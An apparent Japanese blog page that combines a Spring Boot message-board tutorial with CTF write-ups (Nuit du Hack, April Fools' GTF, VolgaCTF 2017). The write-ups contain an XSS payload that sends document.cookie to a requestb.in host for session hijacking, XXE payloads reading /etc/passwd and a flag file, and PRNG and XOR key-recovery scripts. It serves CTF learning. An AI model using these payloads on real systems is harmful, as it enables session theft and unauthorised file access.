Spring Bootで簡単なWebアプリケーションを書いてみる

JavaでWebアプリケーションを開発する際のフレームワークとして、近年Apache Strutsに代わりSpring Frameworkが広く使われている。 ここでは、Springが提供するBootstrapフレームワークSpring Bootを用いて、簡単なWebアプリケーションを書いてみる。

環境

Windows 10 Pro、Java SE 8、Spring Framework 4.3.7.RELEASE(Spring Boot 1.5.2.RELEASE)

>systeminfo
OS 名:                  Microsoft Windows 10 Pro
OS バージョン:          10.0.14393 N/A ビルド 14393
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

JDK 8のインストール

まず、Java開発環境であるJDK 8をインストールする。 JDKをインストールすると、実行環境であるJREも同時にインストールされる。

Spring Tool Suite (STS) のダウンロード

次に、EclipseベースのIDEであるSpring Tool Suite (STS) をダウンロードする。

spring-tool-suite-3.8.4.RELEASE-e4.6.3-win32-x86_64.zipを展開し、STS.exeを実行する。 初回起動時にWorkspace(プロジェクトの保存先)を聞かれるので、適当なパスを指定しOKを選択すると、STSが起動する。

Spring FrameworkとSpring Boot

Spring Frameworkは、Dependency Injection(DI)とAspect-oriented programming(AOP)と呼ばれる設計手法を活用したJavaフレームワークである。 これらの手法により、従来のフレームワークに対して、比較的簡潔にプログラムを実装することができる。

Spring Bootは、Springの各種プロジェクトを使って簡単にWebアプリケーションを書くことができるBootstrapフレームワークである。 Spring BootにはApache Tomcatが付属しており、従来のWARファイルを作成してアプリケーションサーバにデプロイする方法の他に、実行可能JARを作成して単独でTomcatサーバを起動する方法を選ぶことができる。

Spring Bootで簡単なWebアプリケーションを書いてみる

ここでは、Webアプリケーションとして簡単な掲示板を作ることにする。 また、構築を簡単にするために、データベースとしてMySQL等の代わりにJava製インメモリDBであるH2を利用する。

まず、STSでプロジェクトを作成する。

  • メニューバーから「File」→「New」→「Spring Starter Project」を選択
  • Nameを適当に設定し(ここではdemoのままとする)、PackagingにWarを選択してNext
  • DependenciesとしてWeb、Thymeleaf、JPA、H2を選択してNext、Finish

Spring Bootのテンプレートが展開されるので、順に必要なクラスファイルを作成していく。 クラスファイルを新規作成するには、例えばsrc/main/java/com.example/MessageController.javaの場合次のようにする。

  • 「src/main/java/com.example」を右クリックして「New」→「Class」を選択
  • NameにMessageControllerを入力してFinish

以降に述べるすべてのファイルを作成した後の、Package Explorerスクリーンショットを次に示す。

f:id:inaz2:20170405195657p:plain

Web (Spring MVC)

Spring MVCは、MVCフレームワークでWebアプリケーション開発を行うためのライブラリであり、Spring Frameworkの中核を担うものである。 RubyにおけるRailsPythonにおけるDjangoに対応。

HTTPリクエストを処理するControllerは次のようになる。

  • src/main/java/com.example/MessageController.java
package com.example;

import java.util.List;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;

@Controller
public class MessageController {

    @Autowired
    private MessageService service;

    @GetMapping("/messages")
    public String messages(Model model) {
        model.addAttribute("messageForm", new MessageForm());

        List<Message> messages = service.getRecentMessages(100);
        model.addAttribute("messages", messages);

        return "messages";
    }

    @PostMapping("/messages")
    public String messagesPost(Model model, @Valid MessageForm messageForm, BindingResult bindingResult, HttpServletRequest request) {
        if (bindingResult.hasErrors()) {
            List<Message> messages = service.getRecentMessages(100);
            model.addAttribute("messages", messages);
            return "messages";
        }

        service.save(new Message(messageForm.getName(), messageForm.getText(), request.getRemoteAddr()));
        return "redirect:/messages";
    }

}

@GetMappingおよび@PostMappingはそれぞれHTTPのエンドポイントに対応しており、アノテーションが付けられた関数がリクエストに応じて実行される。 returnで返される文字列はViewのテンプレートファイル名を表しており、redirect:がついている場合はそのエンドポイントにHTTPリダイレクトが行われる。 また、@AutowiredDependency Injectionを意味しており、MessageServiceのインスタンスが実行時に代入される。

フォームから送信されるパラメータを定義するクラスは次のようになる。

  • src/main/java/com.example/MessageForm.java
package com.example;

import javax.validation.constraints.Size;

public class MessageForm {

    @Size(max=80)
    private String name;

    @Size(min=1, max=140)
    private String text;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getText() {
        return text;
    }

    public void setText(String text) {
        this.text = text;
    }

}

@Sizeアノテーションにより、各パラメータの制約が指定されている。 この制約はControllerの@Validアノテーションによりチェックされ、エラーがある場合はエラーメッセージがViewに渡される。

Thymeleaf

Thymeleafはテンプレートエンジンであり、従来のJSPに代わるものである。 RubyにおけるERB、PythonにおけるJinja2に対応。

テンプレートファイルは次のようになる。

  • src/main/resources/templates/messages.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8" />
<title>Hello, Spring Boot!</title>
</head>
<body>
<h1>Hello, Spring Boot!</h1>

<form action="#" th:action="@{/messages}" th:object="${messageForm}" method="post">
    <p>Name (optional): <input type="text" th:field="*{name}" />
       <em th:if="${#fields.hasErrors('name')}" th:errors="*{name}">Name Error</em></p>
    <p><textarea cols="40" rows="4" placeholder="Type anything" th:field="*{text}"></textarea>
       <em th:if="${#fields.hasErrors('text')}" th:errors="*{text}">Text Error</em></p>
    <p><input type="submit" value="Submit" /></p>
</form>

<h2>Recent messages</h2>

<dl>
    <th:block th:each="message : ${messages}">
        <dt>
            <span class="name" th:text="${message.name}" th:attr="title=${message.remoteAddr}">John Doe</span>
            <small th:text="${#dates.format(message.createdAt, '(yyyy-MM-dd HH:mm:ss)')}">(1970-01-01 00:00:00)</small>
        </dt>
        <dd th:text="${message.text}">Lorem ipsum dolor sit amet</dd>
    </th:block>
</dl>

</body>
</html>

Thymeleafではth名前空間を用いて構造を記述する。 要素テキストの出力にth:textを用いることで、HTMLエスケープが自動で行われる。 このとき、テンプレート中の要素テキストは無視されるため、例示テキストを記述しておく。

変数は${messages}のようにして参照する。 また、th:objectでオブジェクトを指定し、その下位要素で*{name}のように記述することで指定したオブジェクトのプロパティを参照できる。

HTML要素に対応しないブロック構造はth:blockで表すことができる。

JPA

JPAJavaのオブジェクトとDBのリレーションを結び付けるO/Rマッパーである。 JPAを用いることで、DBに依存したSQL文を直接記述することなくデータの取得や保存ができる。 RubyにおけるActive Record、PythonにおけるSQLAlchemyに対応。

一般に、JPAではEntity、Repository、Serviceの三つが実装される。 テーブル定義に対応するEntityクラスは次のようになる。

  • src/main/java/com.example/Message.java
package com.example;

import java.util.Date;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.PrePersist;
import javax.persistence.Temporal;
import javax.persistence.TemporalType;

@Entity
public class Message {

    @Id
    @GeneratedValue(strategy = GenerationType.AUTO)
    private Long id;
    
    @Column(nullable = false)
    private String name;
    
    @Column(nullable = false)
    private String text;
    
    @Column(nullable = false)
    private String remoteAddr;

    @Temporal(TemporalType.TIMESTAMP)
    @Column(updatable = false)
    private Date createdAt;

    // JPA requirement
    protected Message() {}

    public Message(String name, String text, String remoteAddr) {
        this.name = name;
        this.text = text;
        this.remoteAddr = remoteAddr;
    }

    @PrePersist
    public void prePersist() {
        this.createdAt = new Date();
    }

    @Override
    public String toString() {
        return String.format("Message[id=%d, name='%s', text='%s']", id, name, text);
    }

    public Long getId() {
        return id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getText() {
        return text;
    }

    public void setText(String text) {
        this.text = text;
    }

    public String getRemoteAddr() {
        return remoteAddr;
    }

    public void setRemoteAddr(String remoteAddr) {
        this.remoteAddr = remoteAddr;
    }

    public Date getCreatedAt() {
        return createdAt;
    }

}

JPAの仕様に従い空のコンストラクタをprotectedで実装する必要があること、Date型には@Temporal(TemporalType.TIMESTAMP)をつける必要があることに注意。 nullが入ることを期待しないフィールドには@Column(nullable = false)をつけておくのが無難である。

Insert時、Update時の処理は、@PrePersist@PreUpdateアノテーションをつけたメソッドで定義できる。 ここでは、@PrePersistでcreatedAtメンバに作成日時をセットし、@Column(updatable = false)かつsetter未定義とすることで更新できないようにしている。 また、idメンバも@GeneratedValue(strategy = GenerationType.AUTO)により自動生成するため、setter未定義としている。

なお、getter/setterメソッドは右クリックから「Source」→「Generate Getter and Setters...」を選択して自動生成すると楽である。

DB操作に対応するRepositoryインタフェースは次のようになる。

  • src/main/java/com.example/MessageRepository.java
package com.example;

import java.util.List;

import org.springframework.stereotype.Repository;
import org.springframework.data.domain.Pageable;
import org.springframework.data.repository.CrudRepository;

@Repository
public interface MessageRepository extends CrudRepository<Message, Long> {

    List<Message> findByOrderByIdDesc(Pageable pageable);

}

CrudRepositoryインタフェースを継承することで、findAll()save()delete()等のメソッドが暗黙に定義される。 また、findByName(String name)のようなメソッドを定義すると、SELECT * FROM messages WHERE name = ?に相当する操作を行うメソッドとなる。 上のコードにおけるfindByOrderByIdDesc()はByの後のカラム名を抜いたもので、SELECT * FROM messages ORDER BY id DESCに相当する。 なお、インタフェースの実装は実行時に自動で提供される。

Controllerに対して公開するServiceクラスは次のようになる。

  • src/main/java/com.example/MessageService.java
package com.example;

import java.util.List;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.PageRequest;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

@Service
public class MessageService {

    @Autowired
    private MessageRepository repository;

    public List<Message> getRecentMessages(Integer n) {
        return repository.findByOrderByIdDesc(new PageRequest(0, n));
    }

    @Transactional
    public void save(Message message) {
        repository.save(message);
    }

}

save()のようなDBに変更を加えるメソッドは、@Transactionalをつけて例外発生時にロールバックされるようにする。 Controllerと同様に、上のコードでも@AutowiredによるDependency Injectionが定義されており、MessageRepositoryのインスタンスが実行時に代入される。

付属のTomcatサーバで動かしてみる

付属のTomcatサーバでWebアプリケーションを動かし、ブラウザからアクセスしてみる。

  • 「demo [boot]」を右クリックして「Run As」→「Spring Boot App」を選択
  • Tomcatが起動したら、ブラウザから http://localhost:8080/messages にアクセス

ブラウザで表示した後のスクリーンショットを次に示す。

f:id:inaz2:20170405195712p:plain

実行を中止しTomcatサーバを停止するには、Stopボタンを押せばよい。

Pivotal tc Serverで動かしてみる

STSでは、デプロイ用サーバとしてPivotal tc Serverが用意されている。 このサーバの上でWebアプリケーションを動かすには、次のようにする。

  • 「demo [boot]」を右クリックして「Run As」→「1 Run on Server」を選択
  • サーバとしてlocalhostのPivotal tc Serverを選択してNext
  • 右側のConfiguredに作成したプロジェクト(ここではdemo)が入っていることを確認してFinish
  • サーバが起動した後、STSの中央ペインでWebブラウザが開くのでそのまま http://localhost:8080/demo/messages にアクセス

サーバを停止させるには、付属のTomcatサーバの場合と同様にStopボタンを押せばよい。

WARファイルを作成してみる

他のアプリケーションサーバにデプロイするためのWARファイルを作成するには次のようにする。

  • 「demo [boot]」を右クリックして「Export...」を選択
  • 「Web」→「WAR file」を選択してNext
  • Destinationに保存先ディレクトリを指定してFinish

関連リンク

Nuit du Hack CTF Quals 2017 供養(Writeup)

Nuit du Hack CTF Quals 2017に参加。410ptで113位。

Slumdog Millionaire (Web 100)

10個の疑似乱数を繋げたトークンとして、次に何が出てくるか求める問題。 seedがプロセスIDになっているので、last winningを一つ取得した後65535通りの総当たりで解ける。

import random

def generate_combination():
    numbers = ""
    for _ in range(10):
        rand_num = random.randint(0, 99)
        if rand_num < 10:
            numbers += "0"
        numbers += str(rand_num)
        if _ != 9:
            numbers += "-"
    return numbers

last_winning = '01-89-05-10-65-27-00-70-16-50'
for i in xrange(65536):
    random.seed(i)
    x = generate_combination()
    if x == last_winning:
        print generate_combination()
$ python test.py
93-70-98-33-99-09-34-89-40-23
Here is the code to claim your 20 NDHcoins: flag{God_does_not_pl4y_dic3}

Purple Posse Market (Web 200)

ショッピングサイト。 Contactページを見ると「管理者がすぐに確認する」という記述があり、XSSがありそうなことがわかる。

とりあえずimg要素を送ると、リクエストがあった。

<img src="http://requestb.in/XXXXXXXX">
HEADERS

Total-Route-Time: 0
Cf-Ipcountry: FR
Host: requestb.in
Accept-Encoding: gzip
Cf-Visitor: {"scheme":"http"}
X-Request-Id: 38bc3fb8-3bb5-4d00-9ff8-d4649cf61945
Connection: close
Connect-Time: 0
Referer: http://localhost:3001/admin/messages/55/
Accept: */*
Accept-Language: en,*
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Cf-Ray: 348c3608c76468ea-CDG
Via: 1.1 vegur
Cf-Connecting-Ip: 163.172.102.12

続けて、メッセージ確認画面のHTMLを調べてみる。

<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script>
QUERYSTRING

x: <!-- Navigation --> <nav class="navbar navbar-inverse navbar-default" role="navigation"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/">Purple posse market</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav"> <li> <a href="/about">About</a> </li> <li> <a href="/products">Products</a> </li> <li> <a href="/contact">Contact</a> </li> <li> <a href="/admin/messages/">Messages</a> </li> <li> <a href="/admin/">Profile</a> </li> <li> <a href="/admin/logout/">Sign out</a> </li> </ul> </div> <!-- /.navbar-collapse --> </div> <!-- /.container --> </nav> <!-- Page Content --> <div class="container main-container"> <div class="panel panel-default"> <div class="panel-body"> <p>From : aaa@aaa.aaa</p> <p>Message: <span id="message-content"><script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script></span></p></div></div></div>

/admin/ を見れば、プロフィール情報がわかりそうなことがわかる。

この後しばらくXHRやFetch APIを試してみたのだが、うまくいかなかった。 そこで、Cookieの取得を試みたところ、取得することができた。

<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.cookie) + '">')</script>
QUERYSTRING

x: connect.sid=s%3A3azNpzoe0_TD-YLz3FIt9fQQWTxvzSkF.fC10idxsbkVE7toSkXss41hf8%2FjUKcs0zaTVFlSWOvc

ブラウザの開発者コンソールからdocument.cookieをセットしてセッションハイジャックを行い、/admin/にアクセスすると問題文で求められているIBAN(口座番号)が表示される。

IBAN FR14 2004 1010 0505 0001 3M02 606

No Pain No Gain (Web 75)

CSVを送るとHTMLに変換して表示してくれるページ。 不正なCSVを送ると

Could not convert the CSV to XML! Please follow the example above.

と表示されることから、XXE脆弱性がありそうなことが推測できる。

実際に次のようなCSVを送ると/etc/passwdの内容が表示され、/home/flag以下にフラグがありそうなことがわかる。

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
id,name,email
1,name1,email1@mail.com
2,name2,email2@mail.com
3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td>
</tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td>
</tr><tr><td>3</td><td>name3</td><td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
(snip)
flag:x:1000:1000::/home/flag:/bin/sh
</td>
</tr></table>

続けて、次のようなCSVを送ると、フラグが表示された。

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///home/flag/flag" >]>
id,name,email
1,name1,email1@mail.com
2,name2,email2@mail.com
3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td>
</tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td>
</tr><tr><td>3</td><td>name3</td><td>NDH{U3VwZXIgTWFyaW8gQnJvcw0K44K544O844OR44O844Oe44Oq44Kq44OW44Op44K244O844K6DQpTxatwxIEgTWFyaW8gQnVyYXrEgXp1DQrYs9mI2KjYsdmF2KfYsdmK2Yg=}
</td>
</tr></table>

Matriochka step 1 (Reverse 35)

$ file step1.bin
step1.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2d6163f987027c7da0ef01870d1eb4a889c781f5, not stripped

アセンブリコードを読むとargv[1]から計算された文字列と Tr4laLa!!! をstrcmpで比較していることがわかる。 gdbで適当にデバッグすると、argv[1]が逆順に並び換えられていることがわかるので、条件を満たすようにargv[1]を与えると標準エラーにstep2.binが出力された。

$ ./step1.bin '!!!aLal4rT' 2>step2.bin
Well done :)

!!!aLal4rTがフラグ。

所感

他に解きたかった問題は以下。

  • Matriochka step 2 (Reverse 70)
  • Mendeleev (Steganography 20)
  • Divide and rule (Web 120)
  • Entrop3r (Exploit 350)

April Fools' GTF 2017 供養(Writeup)

April Fools' GTF 2017に参加。1809ptで15位。

Welcome!! (Misc 555)

Please input your password.(Today is April Fool)

Today is April Fool がフラグ、かと思いきや何でも通るっぽい。

thinking_face (Trivia 51)

Good GTFs always have trivia tasks.

🤔 (U+1F914) がフラグ。

Japanese Contest (Trivia 61)

What’s the most famous CTF in Japan.

SECCON がフラグ。

Houses (Trivia 91)

Prime
Mind
Force
Lore
Spirit
Chaos
and more?

PhrackとかCardsとかナンチャラとか打った後に、Einherjarと打ったら通った。 Orangeも打っておけばよかった。

O-mikuji (Guess 100, -500)

The flag is a digit.

6と答えると100ptだが、別の数字を答えると-500pt。

Kyo TO Kyo (Guess 75)

Can you read Japanese?

京都府西東京西東京西東京西東京西東京都東京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府西東京西東京西東京都東京都府京都府京都府西東京都東京都府西東京都東京都府西東京都東京都府西東京西東京西東京都東京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府京都府京都府西東京都東京都府京都府西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府西東京都東京都府京都府京都府京都府西東京西東京都東京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京都東京都府京都府西東京西東京都東京都府西東京西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府西東京都東京都府京都府京都府京都府西東京西東京都東京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府京都府西東京西東京都東京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京都東京都府京都府西東京都東京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府京都府西東京西東京西東京西東京西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京都東京都府京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京西東京西東京都東京都府西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京都東京都府京都府京都府京都府西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京都東京都府

とりあえず「東京都」を消すと「府」と「西」が残ったので、それぞれ1/0に変換して16進表記したところそれっぽい数字が出た。

$ cat test.txt | sed 's/東京都//g' | sed 's/府/1/g;s/西/0/g'
1000001010001100100011101010100010001100111101101101011011110010011000000110111001100000101111100110100011011100110010001011111001101110011000001101011011110010011000001011111001101000111001000110011010111110110101000110100011100000011010001101110001100110011010100110011010111110110001100110001001101110111100101111101

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = 0b1000001010001100100011101010100010001100111101101101011011110010011000000110111001100000101111100110100011011100110010001011111001101110011000001101011011110010011000001011111001101000111001000110011010111110110101000110100011100000011010001101110001100110011010100110011010111110110001100110001001101110111100101111101
>>> hex(x)
'0x41464754467b6b793037305f346e645f37306b79305f3472335f6a3470346e3335335f633137797dL'
>>> hex(x)[2:-1].decode('hex')
'AFGTF{ky070_4nd_70ky0_4r3_j4p4n353_c17y}'

Scoreserver (Wave 404, 422, 500)

Railsで書かれたスコアサーバに対して、404 Not Found、422 Unprocessable Entity、500 Internal Server Errorが出るリクエストを送る問題。

404は適当なURLにリクエストを投げればよい。

$ curl -v https://score.easterns.kyoto.aka.westerns.tokyo/404
(snip)
> GET /404 HTTP/1.1
> Host: score.easterns.kyoto.aka.westerns.tokyo
> User-Agent: curl/7.49.1
> Accept: */*
>
* STATE: DO => DO_DONE handle 0x6000578a0; line 1659 (connection #0)
* STATE: DO_DONE => WAITPERFORM handle 0x6000578a0; line 1786 (connection #0)
* STATE: WAITPERFORM => PERFORM handle 0x6000578a0; line 1796 (connection #0)
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 404 Not Found
< Keep-Alive: timeout=5, max=100
< Content-Length: 43
< Content-Type: text/html; charset=utf-8
* Server Microsoft-IIS/8.0 is not blacklisted
< Server: Microsoft-IIS/8.0
< Status: 404 Not Found
< X-Request-Id: a877d931-3fda-4e7b-b1b7-641eb0d7a95d
< X-Runtime: 0.002451
< Strict-Transport-Security: max-age=15552000
< Set-Cookie: ARRAffinity=7e9446a8829326b9f60badbd177b48e8d9d142cff612a6b0eb16657aa4ba518d;Path=/;Domain=score.easterns.kyoto.aka.westerns.tokyo
< Date: Sat, 01 Apr 2017 08:06:38 GMT
<
404: APRCTF{Kyoto_Is_In_The_West_Of_Tokyo}
* STATE: PERFORM => DONE handle 0x6000578a0; line 1955 (connection #0)
* multi_done
* Connection #0 to host score.easterns.kyoto.aka.westerns.tokyo left intact

422はapplication/x-www-form-urlencodedとして不正な文字列を送ればよい。

$ curl -v --data "give me flag" https://score.easterns.kyoto.aka.westerns.tokyo/problems/5
(snip)
> POST /problems/5 HTTP/1.1
> Host: score.easterns.kyoto.aka.westerns.tokyo
> User-Agent: curl/7.49.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
* STATE: DO => DO_DONE handle 0x6000578b0; line 1659 (connection #0)
* STATE: DO_DONE => WAITPERFORM handle 0x6000578b0; line 1786 (connection #0)
* STATE: WAITPERFORM => PERFORM handle 0x6000578b0; line 1796 (connection #0)
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 422 Unprocessable Entity
< Keep-Alive: timeout=5, max=100
< Content-Length: 40
< Content-Type: text/html; charset=utf-8
* Server Microsoft-IIS/8.0 is not blacklisted
< Server: Microsoft-IIS/8.0
< Status: 422 Unprocessable Entity
< X-Request-Id: be09ece7-151b-4c0d-b931-51fabf2481b0
< X-Runtime: 0.005885
< Strict-Transport-Security: max-age=15552000
< Set-Cookie: ARRAffinity=49a94ddcdeb25346ee3a2b6c760ba69b1e208509e94f78fe226be7730ca067b6;Path=/;Domain=score.easterns.kyoto.aka.westerns.tokyo
< Date: Sat, 01 Apr 2017 07:25:24 GMT
<
422: 422{Tokyo_Is_In_The_East_Of_Kyoto}
* STATE: PERFORM => DONE handle 0x6000578b0; line 1955 (connection #0)
* multi_done
* Connection #0 to host score.easterns.kyoto.aka.westerns.tokyo left intact

500はflagを不正なUTF-8文字列にしてPOSTすると発生した。

POST /problems/5?locale=en HTTP/1.1
Host: score.easterns.kyoto.aka.westerns.tokyo
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Accept-Language: en-US,en;q=0.7,ja;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://score.easterns.kyoto.aka.westerns.tokyo/problems/5?locale=en
X-CSRF-Token: HkPQbeE+mqmqRtkz9gADaH0NyeoIsd9ay1SQ/qH+myOphKZnI4nSPY76FmqzAT/X7LKuDJCGGy8IcoEadj3fMw==
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Cookie: _minictf_session=[redacted]; ARRAffinity=[redacted]
Connection: close

utf8=%E2%9C%93&authenticity_token=[redacted]&flag=%FF%FF
HTTP/1.1 500 Internal Server Error
Content-Length: 90
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
Status: 500 Internal Server Error
X-Request-Id: a1cf19da-d03d-45c7-937e-4fadda3f380f
X-Runtime: 0.021744
Strict-Transport-Security: max-age=15552000
Date: Sat, 01 Apr 2017 11:16:38 GMT
Connection: close

500: FLAG{Osaka_Is_In_The_West_Of_Kyoto}; Thank you for your debugging! We'll fix it soon

test problem (Guess 50, 250)

与えられたページのタイトルを答えると50pt。

TWGTF{this_is_not_flag_and_there_is_no_more_flag}

250点はわからなかった。

所感

他に解きたかった問題は以下。

  • MyEncryption (Guess/Crypto 100)
  • Ko-Gyoku (Guess/Misc 193)
  • Find flag (Recon 189)
  • FindMe (Recon 199)

VolgaCTF 2017 Quals 供養(Writeup)

VolgaCTF 2017 Qualsに参加。1150ptで51位。

VC (crypto 50)

Visual secret sharing scheme(Visual cryptography)

$ composite -compose difference A.png B.png C.png

f:id:inaz2:20170327002041p:plain

VolgaCTF{Classic_secret_sharing_scheme}

PyCrypto (crypto/reverse 150)

20バイトのランダムバイト列を鍵にフラグを暗号化している。 暗号化を行っているpycryptography.soのアセンブリコードを読むと、単に20バイトごとに分けた各ブロックに対してXORを取っているだけであることがわかる。

.text:0000000000001190 loc_1190:                               ; CODE XREF: encrypt+9Bj
.text:0000000000001190                 mov     rax, rcx
.text:0000000000001193                 cqo
.text:0000000000001195                 idiv    rsi             ; RAX, RDX = divmod(RCX, RSI)
.text:0000000000001198                 movzx   eax, byte ptr [r8+rdx] ; r8 = key
.text:000000000000119D                 xor     al, [rdi+rcx]   ; rdi = plaintext
.text:00000000000011A0                 mov     [rbp+rcx+0], al ; rbp = ciphertext
.text:00000000000011A4                 add     rcx, 1
.text:00000000000011A8                 cmp     rbx, rcx
.text:00000000000011AB                 jnz     short loc_1190

ブロックの各文字について頻度分析を行い、最も多い文字がスペースに対応すると仮定して鍵を計算し、復号する。 すると、先頭がフラグフォーマットの VolgaCTF{ であることが推測できたので、この部分を確定させて再度復号する。 英文と思われる文字列が出てくるので、意味が通るように補完することで最終的な鍵が求まる。

from minipwn import *
from collections import Counter

with open('flag.enc', 'rb') as f:
    data = f.read()

nblocks = len(data) // 20
chunks = []
for i in xrange(nblocks):
    chunk = data[20*i:20*i+20]
    chunks.append(chunk)

s = ''
for i in xrange(20):
    chars = [chunk[i] for chunk in chunks]
    c, count = Counter(chars).most_common()[0]
    s += xor(c, ' ')

"""
hint = 'VolgaCTF{'
s2 = xor(chunks[0], hint)
s = s2 + s[len(hint):]

for i, chunk in enumerate(chunks):
    print i, "%r" % xor(chunk, s)
"""

hint = '1917, invented an ad'
s = xor(chunks[5], hint)

answer = ''
for chunk in chunks:
    answer += xor(chunk, s)

print answer
$ python test.py
VolgaCTF{N@me_is_Pad_Many_Times_P@d_Mi$$_me?}
Gilbert Vernam was an AT&T Bell Labs engineer who, in 1917, invented an additive polyalphabetic stream cipher and later co-invented an automated one-time pad cipher. Vernam proposed a teleprinter cipher in which a previously prepared key, kept on paper tape, is combined character by character with the plaintext message to produce the ciphertext. This are the fundamentals of how one-time pad works.
One-time pad is a way of encrypting messages which is done by XOR-ing each plaintext byte of message you want to encrypt with a key byte from a key stream which is long as the message itself.  If the key is truly random, is at least as long as the plaintext, is never reused in whole or in part, and is kept completely secret, then the resulting ciphertext will be impossible to decrypt or break. This makes the one-time pad information-theoretically secure which means that we can learn no information about the original message (apart from it's length) given the encrypted message. Everything seems perfect right? But why do we need all this modern ciphers then? Why do we need AES when there is a "perfect" cipher, fresh from 1917? Where's the catch?
One-time pad problems: In theory, this cipher is really secure, but in practice, there are few major drawbacks. First, the key needs to be truly random. You might think: "So what, there is a rand() C function that gives us random numbers, we can use that to generate our key stream!". In fact, the rand() C function is a pseudorandom generator which only gives seemingly random numbers, it will loop after some number of outputs and its output can be predicted which makes the function unreliable for security purposes. There are more implementations of random functions (pseudorandom generators) that are used in security but I will not go into that now, only thing to remember is that true randomness is very hard to achieve. One site that states that can generate true random numbers is RANDOM.ORG, its randomness comes from atmospheric noise. Another problem is that the key needs to be as long as the message itself, this makes it hard to use for very long messages because it takes long to generate the keys. I will show you an example of what can go wrong when you get lazy and use the same key to encrypt many messages.
